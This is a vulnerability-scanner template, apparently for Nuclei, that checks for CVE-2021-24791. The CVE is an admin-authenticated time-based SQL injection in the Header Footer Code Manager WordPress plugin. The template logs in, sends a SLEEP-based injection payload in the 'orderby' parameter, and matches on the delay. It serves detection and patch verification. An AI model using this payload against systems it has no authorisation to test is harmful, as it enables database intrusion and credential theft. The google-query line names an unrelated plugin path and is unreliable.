Header Footer Code Manager < 1.1.14 - Admin+ SQL Injection

id: CVE-2021-24791

info:
  name: Header Footer Code Manager < 1.1.14 - Admin+ SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    The Header Footer Code Manager WordPress plugin before 1.1.14 does not validate and escape the "orderby" and "order" request parameters before using them in a SQL statement when viewing the Snippets admin dashboard, leading to SQL injections
  impact: |
    Authenticated administrators can exploit time-based blind SQL injection in the Snippets dashboard, potentially extracting sensitive database contents including user credentials.
  remediation: Fixed in version 1.1.14
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24791
    - https://wpscan.com/vulnerability/d55caa9b-d50f-4c13-bc69-dc475641735f
    - https://wordpress.org/plugins/header-footer-code-manager/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24791
    cwe-id: CWE-89
    epss-score: 0.05124
    epss-percentile: 0.91542
    cpe: cpe:2.3:a:draftpress:header_footer_code_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: draftpress
    product: header_footer_code_manager
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wp-custom-pages/"
  tags: time-based-sqli,cve2021,cve,wpscan,sqli,wp,wordpress,wp-plugin,authenticated,header-footer-code-manager,draftpress,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 20s
        GET /wp-admin/admin.php?page=hfcm-list&orderby=%28SELECT+5619+FROM+%28SELECT%28SLEEP%286%29%29%29uWCv%29&order=DESC HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2,"Add New Snippet")'
        condition: and
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